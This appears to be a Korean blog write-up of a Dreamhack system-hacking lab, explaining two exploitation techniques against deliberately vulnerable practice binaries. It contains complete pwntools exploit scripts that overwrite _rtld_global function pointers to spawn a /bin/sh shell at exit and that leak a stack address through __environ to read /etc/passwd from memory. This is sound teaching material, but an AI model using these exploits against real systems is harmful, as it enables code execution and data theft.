본문 바로가기
Security/System Hacking

[Dreamhack System Hacking Advanced] STAGE 4 - 함께 실습

by 단월໒꒱ 2022. 9. 25.

 

Exploit Tech: overwrite _rtld_global

 

  프로그램에서 리턴 명령어를 수행하면 라이브러리와 로더에서 다양한 함수를 호출하면서 정상 종료한다. 이 과정에서 읽고 쓸 수 있는 영역에 존재하는 함수 포인터를 호출하기 때문에 임의 주소 쓰기 취약점이 있다면 해당 포인터를 덮어써서 프로그램의 실행 흐름을 조작할 수 있다.

 

 

 

코드 분석

 

  다음은 이번 실습에서 사용할 코드이다.

 

 

// Name: ow_rtld.c
// Compile: gcc -o ow_rtld ow_rtld.c
#include <stdio.h>
#include <stdlib.h>
void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}
int main() {
  long addr;
  long data;
  int idx;
  init();
  printf("stdout: %p\n", stdout);
  while (1) {
    printf("> ");
    scanf("%d", &idx);
    switch (idx) {
      case 1:
        printf("addr: ");
        scanf("%ld", &addr);
        printf("data: ");
        scanf("%ld", &data);
        *(long long *)addr = data;
        break;
      default:
      	return 0;
    }
  }
  return 0;
}

 

 

  코드를 보면 stdout 라이브러리 주소를 출력하고, 입력한 addr 주소에 data를 삽입하는 임의 주소 쓰기 취약점이 존재한다.

 

  보호기법도 체크해주면 다음과 같다.

 

 

 

 

  모든 보호 기법이 적용되어 있어 GOT overwrite가 불가능하다는 걸 확인할 수 있다.

 

 

 

익스플로잇

 

 

익스플로잇 설계

 

 1. 라이브러리 및 로더 베이스 주소 계산

 

  예제에서 제공한 stdout 주소를 통해 라이브러리의 베이스 주소를 구하고, “/lib64/ld-linux-x86-64.so.2”가 맵핑된 로더의 베이스 주소를 알아낸다. 라이브러리와 로더가 맵핑된 주소의 간격은 일정하기 때문에 디버깅을 통해 간격을 알아내고 오프셋을 계산하여 알아낼 수 있다.

 

 2. _rtld_global 구조체 계산

 

  로더의 베이스 주소를 알아냈다면, rtld_global 구조체의 심볼 주소를 더해 해당 구조체의 주소를 알아낼 수 있다. 해당 구조체 주소를 구했다면, 멤버 변수인 _dl_load_lock과 _dl_rtld_lock_recursive 함수 포인터의 주소를 구해준다.

 

 3. _rtld_global 구조체 조작

 

  프로그램을 종료하는 과정에서 _rtld_global 구조체의 _dl_load_lock을 인자로 _dl_rtld_lock_recursive 함수 포인터를 호출한다. dl_load_lock에 “/bin/sh” 또는 “sh” 문자열을 삽입하고, dl_rtld_lock_recursive를 system 함수로 덮어쓰면 셸을 획득할 수 있다.

 

 

라이브러리 및 로더 베이스 주소 계산

 

  예제에서 주어진 stdout 라이브러리 주소를 이용해 라이브러리와 로더의 베이스 주소를 알아내보자.

 

  라이브러리의 베이스 주소는 IO_2_1_stdout 심볼 주소를 이용하여 쉽게 알아낼 수 있다. 로더의 주소는 디버깅을 통해 라이브러리 베이스 주소와 뺄셈하여 간격 차이를 알아내면 쉽게 구할 수 있다. 다음은 디버깅을 통해 두 베이스 주소의 간격 차이를 알아낸 내용이다.

 

 

 

 

  결과를 확인해보면, 두 주소의 간격은 0x3f1000임을 알 수 있다.

 

  이를 이용하여 라이브러리와 로더의 베이스 주소를 알아내는 익스플로잇 코드는 다음과 같다.

 

 

# Name: ow_rtld.py
from pwn import *

p = process("./ow_rtld")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
ld = ELF('/lib64/ld-linux-x86-64.so.2')

p.recvuntil(": ")

stdout = int(p.recvuntil("\n"),16)
libc_base = stdout - libc.symbols['_IO_2_1_stdout_']
ld_base = libc_base + 0x3f1000

print(hex(libc_base))
print(hex(ld_base))

p.interactive()

 

 

 

_rtld_global 주소 계산

 

  라이브러리의 베이스 주소와 로더의 베이스 주소를 알아냈다면 디버깅을 이용하여 _rtld_global 구조체와 덮어쓸 멤버 변수의 주소를 구해보자.

 

  다음은 각 멤버 변수의 주소를 알아낸 모습이다.

 

 

 

 

  디버깅 결과를 살펴보면, 멤버 변수의 주소는 각각 _rtld_global 구조체로부터 2312, 3840 오프셋 뒤에 위치한 것을 확인할 수 있다.

 

   _rtld_global 구조체의 주소를 구하고 각 멤버 변수의 주소를 계산한 익스플로잇 코드는 다음과 같다.

 

  

# Name: ow_rtld.py
from pwn import *

p = process("./ow_rtld")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
ld = ELF('/lib64/ld-linux-x86-64.so.2')

p.recvuntil(": ")

stdout = int(p.recvuntil("\n"),16)
libc_base = stdout - libc.symbols['_IO_2_1_stdout_']
ld_base = libc_base + 0x3f1000

rtld_global = ld_base + ld.symbols['_rtld_global']
dl_load_lock = rtld_global + 2312
dl_rtld_lock_recursive = rtld_global + 3840

p.interactive()

 

 

 

_rtld_global 구조체 조작

 

  덮어쓸 주소를 모두 알아냈다면, _dl_rtld_lock_recursive를 라이브러리 함수 system으로 덮어쓰고, dl_load_lock 주소에 “sh” 또는 “/bin/sh” 문자열을 쓰면 셸을 획득할 수 있다.

 

  다음은 멤버 변수를 덮어쓴 익스플로잇 코드이다.

 

 

# Name: ow_rtld.py
from pwn import *

p = process("./ow_rtld")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
ld = ELF('/lib64/ld-linux-x86-64.so.2')

p.recvuntil(": ")

stdout = int(p.recvuntil("\n"),16)
libc_base = stdout - libc.symbols['_IO_2_1_stdout_']
ld_base = libc_base + 0x3f1000

rtld_global = ld_base + ld.symbols['_rtld_global']
dl_load_lock = rtld_global + 2312
dl_rtld_lock_recursive = rtld_global + 3840

system = libc_base + libc.symbols['system']

p.sendlineafter("> ", "1")
p.sendlineafter("addr: ", str(dl_load_lock))
p.sendlineafter("data: ", str(u64("/bin/sh\x00")))

p.sendlineafter("> ", "1")
p.sendlineafter("addr: ", str(dl_rtld_lock_recursive))
p.sendlineafter("data: ", str(system))

p.sendlineafter("> ", "2")
p.interactive()

 

 

  각 멤버 변수를 덮어쓰고, 1번이 아닌 다른 값을 입력하면 프로그램을 종료하면서 덮어쓴 함수 포인터가 호출돼 셸을 획득할 수 있다.

 

  익스플로잇 코드를 실행하면 아래와 같이 셸을 획득한 것을 확인할 수 있다.

 

 

 

 

 

Exploit Tech: __environ

 

  프로세스는 환경 변수 정보를 저장하고 필요할 때마다 불러와 사용한다.

  이번에는 라이브러리 함수에서 참조하는 환경 변수 포인터와 관련된 공격을 실습할 예정이다.

 

 

코드 분석

 

  다음은 이번 실습에서 사용할 코드이다. "/etc/passwd" 파일의 내용을 읽고 스택 버퍼에 저장하는 내용이다.

 

// Name: environ.c
// Compile: gcc -o environ environ.c
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <signal.h>
#include <stdlib.h>
void sig_handle() {
  exit(0);
}
void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  signal(SIGALRM, sig_handle);
  alarm(5);
}
void read_file() {
  char file_buf[4096];
  int fd = open("/etc/passwd", O_RDONLY);
  read(fd, file_buf, sizeof(file_buf) - 1);
  close(fd);
}
int main() {
  char buf[1024];
  long addr;
  int idx;
  init();
  read_file();
  printf("stdout: %p\n", stdout);
  while (1) {
    printf("> ");
    scanf("%d", &idx);
    switch (idx) {
      case 1:
        printf("Addr: ");
        scanf("%ld", &addr);
        printf("%s", (char *)addr);
        break;
      default:
        break;
    }
  }
  return 0;
}

 

  코드를 보면, main 함수에서는 stdout 라이브러리 주소를 출력하고, 반복해서 임의 주소에 있는 값을 읽을 수 있는 취약점이 존재하는 걸 확인할 수 있다.

 

  보호기법은 다음과 같다.

 

 

 

 

 

익스플로잇

 

익스플로잇 설계

 

 1. __environ 주소 계산

 

  예제에서 제공한 stdout 라이브러리 포인터를 통해 베이스 주소를 계산하고, __environ 포인터의 주소를 알아낸다. 각 심볼의 주소와 연산하여 쉽게 알아낼 수 있다.

 

 2. 스택 주소 계산

 

  __environ 주소를 알아냈다면, 예제의 임의 주소 읽기 취약점을 통해 스택 주소를 알아내고, “/etc/passwd” 파일의 내용이 저장된 스택 버퍼의 주소를 계산해준다. 해당 주소는 환경 변수와 상대적인 거리가 매번 같으므로, 디버깅을 통해 주소의 간격을 알아낸다

 

 3. 파일 내용 읽기

  파일의 내용을 저장하고 있는 스택 버퍼 주소를 알아냈다면, 임의 주소 읽기 취약점을 통해 스택 버퍼를 출력하여 파일의 내용을 알아낸다.

 

 

__environ 주소 계산

 

  stdout 주소를 획득하고, 라이브러리에서 해당 심볼의 주소를 알아낸 뒤 뺼셈을 통해 라이브러리 베이스 주소를 알아낸다. 이후에 위에서 알아본 __environ 포인터의 심볼 주소를 더하여 해당 포인터의 주소를 구해야 한다.

 

  다음은 pwntools에서 제공하는 ELF 클래스를 사용해 각 심볼의 주소를 알아내는 코드이다.

 

 

# Name: environ.py
from pwn import *

p = process("./environ")
elf = ELF('/lib/x86_64-linux-gnu/libc.so.6')

p.recvuntil(": ")

stdout = int(p.recvuntil("\n"),16)
libc_base = stdout - elf.symbols['_IO_2_1_stdout_']
libc_environ = libc_base + elf.symbols['__environ']

print(hex(libc_base))
print(hex(libc_environ))

p.interactive()

 

  라이브러리의 정보를 읽어 _IO_2_1_stdout과 __environ 심볼의 주소를 알아내고 오프셋을 계산해 실제 주소를 알아낸다.

 

  아래는 코드를 실행하여 라이브러리 베이스 주소와 __environ 주소를 알아낸 내용이다.

 

 

 

 

스택 주소 계산

 

  __environ 주소를 알아냈다면, 임의 주소 읽기 취약점을 통해 스택 주소를 구하고, 이를 기반으로 파일의 내용이 저장된 스택 버퍼의 주소를 알아내야 한다.

  파일 내용이 저장된 스택 버퍼와 __environ 변수가 가리키는 스택 주소의 거리 간격은 디버깅을 통해 알아낼 수 있다.

 

  다음은 디버깅을 통해 두 스택 주소의 간격을 알아낸 모습이다.

 

 

 

 

 

 

 

 

  먼저, read_file 함수에서 파일을 읽는 위치에 BP를 설정하고, 프로그램을 실행한다. read 함수의 인자를 확인하면 파일의 내용을 저장하는 위치는 rcx 레지스터에 저장되므로, 해당 주소가 파일의 내용이 저장될 스택 버퍼 주소이다.

  그 후, __environ 포인터 주소가 앞서 알아낸 스택 버퍼 주소보다 높은 주소에 있으므로, __environ 포인터 주소에서 알아낸 스택 버퍼 주소를 뺄셈하여 간격을 알아낸다. 두 주소의 간격 차이는 0x1538임을 알 수 있습니다.

 

 

파일 내용 읽기

 

  두 주소의 간격을 알아냈다면, __environ 주소에서 두 주소의 간격인 0x1538을 뺀 주소를 임의 주소 읽기 취약점을 통해 출력한다.

  다음은 파일의 내용이 저장된 스택 버퍼를 출력한 최종 익스플로잇 코드이다.

 

# Name: environ.py
from pwn import *

p = process("./environ")
elf = ELF('/lib/x86_64-linux-gnu/libc.so.6')

p.recvuntil(": ")

stdout = int(p.recvuntil("\n"),16)
libc_base = stdout - elf.symbols['_IO_2_1_stdout_']
libc_environ = libc_base + elf.symbols['__environ']

print(hex(libc_base))
print(hex(libc_environ))

p.sendlineafter(">", "1")
p.sendlineafter(":", str(libc_environ))

p.recv(1)
stack_environ = u64(p.recv(6).ljust(8, "\x00")) 
file_content = stack_environ - 0x1538

print("stack_environ: " + hex(stack_environ))
p.sendlineafter(">", "1")
p.sendlineafter(":", str(file_content))

p.interactive()

 

  임의 주소 읽기 취약점으로 __environ 주소에 존재하는 스택 주소를 획득하고, 해당 주소와 0x1538을 뺄셈한 주소를 한번 더 읽어 파일의 내용을 확인할 수 있다.

 

  익스플로잇 코드를 실행한 결과는 다음과 같다.

 

 

 

 

 

  

 

 

댓글